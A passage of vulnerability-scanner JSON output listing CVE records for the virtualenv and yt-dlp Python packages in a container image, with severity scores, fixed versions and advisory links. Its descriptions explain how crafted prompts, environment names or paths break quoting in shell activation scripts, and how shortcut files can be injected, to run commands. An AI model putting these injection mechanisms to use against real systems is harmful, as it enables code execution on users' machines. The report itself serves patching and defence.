"V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-102930", "https://advisory.echohq.com/cve/CVE-2026-102930", "https://github.com/pypa/advisory-database/tree/main/vulns/virtualenv/PYSEC-2026-4011.yaml", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/a01ed3e2f239d6ab1fce62c5c7664ccf268fff6d", "https://github.com/pypa/virtualenv/pull/3251", "https://github.com/pypa/virtualenv/releases/tag/21.7.12", "https://github.com/pypa/virtualenv/security/advisories/GHSA-94p9-xgh2-xp45", "https://nvd.nist.gov/vuln/detail/CVE-2026-102930", "https://pypi.org/project/virtualenv", "https://www.cve.org/CVERecord?id=CVE-2026-102930" ], "PublishedDate": "2026-09-29T21:17:18.74Z", "LastModifiedDate": "2026-09-30T19:38:27.293Z" }, { "VulnerabilityID": "CVE-2026-102937", "VendorIDs": [ "GHSA-x78j-v8h9-3j2q" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.7.12", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102937", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1436b607c4ed7d5af364db1354ce578824b86073ac65ae89fbd141505bf908a1", "Title": "virtualenv: virtualenv: Arbitrary code execution via unescaped prompt in Windows activation script", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, BatchActivator.quote() returns prompt text unchanged before activate.bat inserts it into a cmd.exe set \"VAR=value\" statement. An attacker who influences --prompt, VIRTUALENV_PROMPT, or the corresponding configuration value can include a double quote that closes the assignment and leaves following cmd.exe operators as executable syntax. When a user activates the generated Windows environment, the injected commands run with that user's privileges. This issue is fixed in version 21.7.12.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.3 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-102937", "https://advisory.echohq.com/cve/CVE-2026-102937", "https://github.com/pypa/advisory-database/tree/main/vulns/virtualenv/PYSEC-2026-4014.yaml", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/d721ff140ce4afdc2a9b76751e4584e25d9fbea6", "https://github.com/pypa/virtualenv/pull/3250", "https://github.com/pypa/virtualenv/releases/tag/21.7.12", "https://github.com/pypa/virtualenv/security/advisories/GHSA-x78j-v8h9-3j2q", "https://nvd.nist.gov/vuln/detail/CVE-2026-102937", "https://pypi.org/project/virtualenv", "https://www.cve.org/CVERecord?id=CVE-2026-102937" ], "PublishedDate": "2026-09-29T21:17:18.893Z", "LastModifiedDate": "2026-10-02T13:17:35.44Z" }, { "VulnerabilityID": "CVE-2026-113718", "VendorIDs": [ "GHSA-394h-qwmc-48pf" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.9", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113718", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:17cac24fac185e030f465324c5ec4b279ba56985a7eab51057775a235897291b", "Title": "virtualenv: virtualenv: arbitrary code execution via improper quoting in xonsh activation scripts", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.", "Severity": "HIGH", "CweIDs": [ "CWE-94" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "redhat": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113718", "https://advisory.echohq.com/cve/CVE-2026-113718", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0", "https://github.com/pypa/virtualenv/pull/3432", "https://github.com/pypa/virtualenv/releases/tag/21.14.9", "https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf", "https://nvd.nist.gov/vuln/detail/CVE-2026-113718", "https://www.cve.org/CVERecord?id=CVE-2026-113718" ], "PublishedDate": "2026-10-20T20:17:18.197Z", "LastModifiedDate": "2026-10-27T14:16:33.297Z" }, { "VulnerabilityID": "CVE-2026-113722", "VendorIDs": [ "GHSA-c978-59m8-c77v" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.9", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113722", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0e31f1a5e98d48e5dc9f5a0ca80626fbab436ba5b4072b32602e5945731f1769", "Title": "virtualenv: virtualenv: arbitrary code execution via improperly quoted interpreter paths in script launchers", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, virtualenv's ScriptMakerCustom and pip pass an incompletely quoted interpreter path to distlib ScriptMaker when generating POSIX console scripts. When the path contains a space or produces a shebang longer than 127 bytes, distlib emits a /bin/sh wrapper whose double-quoted interpreter path still expands command substitutions and backticks. An attacker who influences the environment destination can therefore execute commands with the user's privileges when the user later runs a generated launcher; environment creation and activation do not trigger the command. Existing launchers are not repaired by upgrading virtualenv alone and must be regenerated, while a later independent pip installation or upgrade can reintroduce an affected launcher because pip's vendored distlib is unchanged. The virtualenv fix is released in version 21.14.9.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113722", "https://advisory.echohq.com/cve/CVE-2026-113722", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9", "https://github.com/pypa/virtualenv/pull/3417", "https://github.com/pypa/virtualenv/releases/tag/21.14.9", "https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v", "https://nvd.nist.gov/vuln/detail/CVE-2026-113722", "https://www.cve.org/CVERecord?id=CVE-2026-113722" ], "PublishedDate": "2026-10-20T20:17:18.81Z", "LastModifiedDate": "2026-10-23T02:16:57.087Z" }, { "VulnerabilityID": "CVE-2026-113723", "VendorIDs": [ "GHSA-6w3r-xr62-4xcp" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.9", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113723", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d360ec128e39c762165a22c2944139217eb696a32387cf09567d33e7ecd7667a", "Title": "virtualenv: virtualenv: Arbitrary code execution via malicious prompt text", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt. This vulnerability is fixed in 21.14.9.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113723", "https://advisory.echohq.com/cve/CVE-2026-113723", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22", "https://github.com/pypa/virtualenv/pull/3418", "https://github.com/pypa/virtualenv/releases/tag/21.14.9", "https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp", "https://nvd.nist.gov/vuln/detail/CVE-2026-113723", "https://www.cve.org/CVERecord?id=CVE-2026-113723" ], "PublishedDate": "2026-10-20T20:17:18.967Z", "LastModifiedDate": "2026-10-27T14:16:33.417Z" }, { "VulnerabilityID": "CVE-2026-113725", "VendorIDs": [ "GHSA-vxj4-q4g9-crj7" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.7", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113725", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:fde178adc28f3e2535ec14fcfa38266ef1bf9e1f71cfe02ce7bdcd0f9e02d2ff", "Title": "virtualenv: virtualenv: arbitrary code execution via crafted environment name", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.7, the bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a backslash in the name undoes the escaping and a name containing \\$(...) runs as commands in the user's shell each time bash draws the prompt. This issue is fixed in version 21.14.7.", "Severity": "HIGH", "CweIDs": [ "CWE-78", "CWE-116" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113725", "https://advisory.echohq.com/cve/CVE-2026-113725", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932", "https://github.com/pypa/virtualenv/releases/tag/21.14.7", "https://github.com/pypa/virtualenv/security/advisories/GHSA-vxj4-q4g9-crj7", "https://nvd.nist.gov/vuln/detail/CVE-2026-113725", "https://www.cve.org/CVERecord?id=CVE-2026-113725" ], "PublishedDate": "2026-10-20T20:17:19.257Z", "LastModifiedDate": "2026-10-22T16:47:38.403Z" }, { "VulnerabilityID": "CVE-2026-113726", "VendorIDs": [ "GHSA-5vjq-rrrf-7h2q" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113726", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:fc116bb576011492e884dfb70f00b76111a73172d806ad103339c2d0195d6db6", "Title": "virtualenv: virtualenv: Arbitrary command execution via unescaped prompt variables in zsh", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.13.0, the bash activate script that zsh also sources leaves the environment name unescaped; from 21.13.0 until 21.14.4, it escapes backslashes, dollar signs, and backticks only when BASH_VERSION is set, so zsh receives the raw value. The script assigns that value to PS1. In zsh with PROMPT_SUBST, an attacker-influenced environment directory, --prompt, or VIRTUALENV_PROMPT value containing command, parameter, or arithmetic expansion syntax can therefore execute commands in the user's shell each time the prompt is drawn. A percent sign is separately interpreted as a zsh prompt escape but does not by itself execute commands. Plain zsh with PROMPT_SUBST disabled and bash are not affected by this mechanism. This issue is fixed in version 21.14.4.", "Severity": "HIGH", "CweIDs": [ "CWE-78", "CWE-116" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113726", "https://advisory.echohq.com/cve/CVE-2026-113726", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2", "https://github.com/pypa/virtualenv/releases/tag/21.14.4", "https://github.com/pypa/virtualenv/security/advisories/GHSA-5vjq-rrrf-7h2q", "https://nvd.nist.gov/vuln/detail/CVE-2026-113726", "https://www.cve.org/CVERecord?id=CVE-2026-113726" ], "PublishedDate": "2026-10-20T22:19:29.423Z", "LastModifiedDate": "2026-10-27T22:17:23.223Z" }, { "VulnerabilityID": "CVE-2026-113732", "VendorIDs": [ "GHSA-c947-3pg5-gm8q" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.2", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113732", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0745ef57f7db66e6621dbb077e2a23b3a423283dc85eef06dedb58a8c76612db", "Title": "virtualenv: virtualenv: Arbitrary code execution via improperly quoted Fish activation scripts", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.2, FishActivator inherits ViaTemplateActivator.quote(), which uses POSIX shlex.quote() even though fish interprets backslashes and single quotes differently. An attacker-influenced environment path, --prompt, or VIRTUALENV_PROMPT value containing a backslash before a quote can therefore terminate the generated fish literal and execute command substitution when the user sources activate.fish. This issue is fixed in version 21.14.2.", "Severity": "HIGH", "CweIDs": [ "CWE-78", "CWE-116" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113732", "https://advisory.echohq.com/cve/CVE-2026-113732", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/3bddeaf8d02c3ee7f576503efb082f8f494cfcab", "https://github.com/pypa/virtualenv/releases/tag/21.14.2", "https://github.com/pypa/virtualenv/security/advisories/GHSA-c947-3pg5-gm8q", "https://nvd.nist.gov/vuln/detail/CVE-2026-113732", "https://www.cve.org/CVERecord?id=CVE-2026-113732" ], "PublishedDate": "2026-10-20T22:19:30.413Z", "LastModifiedDate": "2026-10-27T14:16:33.643Z" }, { "VulnerabilityID": "CVE-2026-113776", "VendorIDs": [ "GHSA-8rjx-v5ww-45pp" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.14.2", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-113776", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:08540e8a4e172d06ec2063331ac0529aa1afb80aab842f11f03b7bc64e0b39d4", "Title": "virtualenv: virtualenv: Arbitrary command execution via sequential placeholder substitution in activation templates", "Description": "virtualenv is a tool for creating isolated virtual python environments. From 20.26.6 until 21.14.2, ViaTemplateActivator.instantiate_template() replaces placeholders one key at a time across the complete activation template, so trigger names such as __VIRTUAL_NAME__, __VIRTUAL_ENV__, or __VIRTUAL_PROMPT__ inside an already substituted and quoted environment path or prompt can be replaced during a later pass. The later value's quoting can close the earlier literal and execute the remaining path when a user activates the environment through bash, fish, xonsh, or activate_this.py. The distinct csh prompt-display token __VIRTUAL_PROMPT_DISPLAY_TCSH__ can instead break the generated script without establishing command execution. The attacker must influence the destination path or --prompt, and a value without a relevant placeholder name does not trigger this mechanism. This issue is fixed in version 21.14.2.", "Severity": "HIGH", "CweIDs": [ "CWE-78", "CWE-94" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-113776", "https://advisory.echohq.com/cve/CVE-2026-113776", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/602b26623a724827ff171bf11fef4ad186d01f74", "https://github.com/pypa/virtualenv/releases/tag/21.14.2", "https://github.com/pypa/virtualenv/security/advisories/GHSA-8rjx-v5ww-45pp", "https://nvd.nist.gov/vuln/detail/CVE-2026-113776", "https://www.cve.org/CVERecord?id=CVE-2026-113776" ], "PublishedDate": "2026-10-20T22:19:30.557Z", "LastModifiedDate": "2026-10-28T15:17:04.007Z" }, { "VulnerabilityID": "CVE-2026-50023", "VendorIDs": [ "GHSA-c6mh-fpjc-4pr3" ], "PkgName": "yt-dlp", "PkgPath": "usr/local/lib/python3.14/site-packages/yt_dlp-2026.3.17.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/yt-dlp@2026.3.17", "UID": "47b8fec27e3c44d6" }, "InstalledVersion": "2026.3.17", "FixedVersion": "2026.6.9", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50023", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1fbf82354c489bf0c1f84a81e55f4af652e8152be8df2d8bafe8eb18b8ea6716", "Title": "yt-dlp is a command-line audio/video downloader. Prior to 2026.06.09, ...", "Description": "yt-dlp is a command-line audio/video downloader. Prior to 2026.06.09, a vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519. The allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. This vulnerability is fixed in 2026.06.09.", "Severity": "HIGH", "CweIDs": [ "CWE-641" ], "VendorSeverity": { "ghsa": 3, "nvd": 4 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "V3Score": 9.6 } }, "References": [ "https://github.com/advisories/GHSA-c6mh-fpjc-4pr3", "https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3430.yaml", "https://github.com/yt-dlp/yt-dlp", "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517", "https://github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a", "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09", "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3", "https://nvd.nist.gov/vuln/detail/CVE-2024-38519", "https://nvd.nist.gov/vuln/detail/CVE-2026-50023", "https://pypi.org/project/yt-dlp" ], "PublishedDate": "2026-06-23T17:17:03Z", "LastModifiedDate": "2026-06-26T20:12:25.54Z" }, { "VulnerabilityID": "CVE-2026-50574", "VendorIDs": [ "GHSA-vx4q-3cr2-7cg2" ], "PkgName": "yt-dlp", "PkgPath": "usr/local/lib/python3.14/site-packages/yt_dlp-2026.3.17.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/yt-dlp@2026.3.17", "UID": "47b8fec27e3c44d6" }, "InstalledVersion": "2026.3.17", "FixedVersion": "2026.6.9", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50574", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6c6df6eb8c463ebae6747696dc1caaa10e881825dd7ad668f8f0b3485f12ea97", "Title": "yt-dlp is a command-line audio/video downloader. Prior to 2026.06.09, ...", "Description": "yt-dlp is a command-line audio/video downloader. Prior to 2026.06.09, if aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp. This vulnerability is fixed in 2026.06.09.", "Severity": "HIGH", "CweIDs": [ "CWE-74" ], "VendorSeverity": { "ghsa": 3, "nvd": 4 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "V3Score": 9.6 } }, "References": [ "https://github.com/advisories/GHSA-vx4q-3cr2-7cg2", "https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3433.yaml", "https://github.com/yt-dlp/yt-dlp", "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517", "https://github.com/yt-dlp/yt-dlp/commit/25056f0d2d47adbd235a8d422fa62d68d0be2bc2", "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09", "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-vx4q-3cr2-7cg2", "https://nvd.nist.gov/vuln/detail/CVE-2026-50574", "https://pypi.org/project/yt-dlp" ], "PublishedDate": "2026-06-23T17:17:03.34Z", "LastModifiedDate": "2026-06-26T20:11:40.273Z" }, { "VulnerabilityID": "CVE-2026-55404", "VendorIDs": [ "GHSA-6v4j-43gg-vj32" ], "PkgName": "yt-dlp", "PkgPath": "usr/local/lib/python3.14/site-packages/yt_dlp-2026.3.17.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/yt-dlp@2026.3.17", "UID": "47b8fec27e3c44d6" }, "InstalledVersion": "2026.3.17", "FixedVersion": "2026.7.4", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55404", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e7d9e834bdbabc52a0fa006176c235348c5f328babb792d026dc40968ff6b0be", "Title": "yt-dlp and youtube-dl are command-line audio/video downloaders. Prior ...", "Description": "yt-dlp and youtube-dl are command-line audio/video downloaders. Prior to 2026.7.4, the --write-link, --write-url-link, and --write-desktop-link options can write .url or .desktop shortcut files using attacker-controlled webpage_url or filename metadata without sufficient validation or escaping, allowing malicious file:// URI injection on Windows or newline-based desktop entry key injection on Linux that can execute commands if the generated shortcut is opened. This issue is fixed in version 2026.7.4.", "Severity": "HIGH", "CweIDs": [ "CWE-74" ], "VendorSeverity": { "ghsa": 3, "nvd": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://github.com/yt-dlp/yt-dlp", "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833", 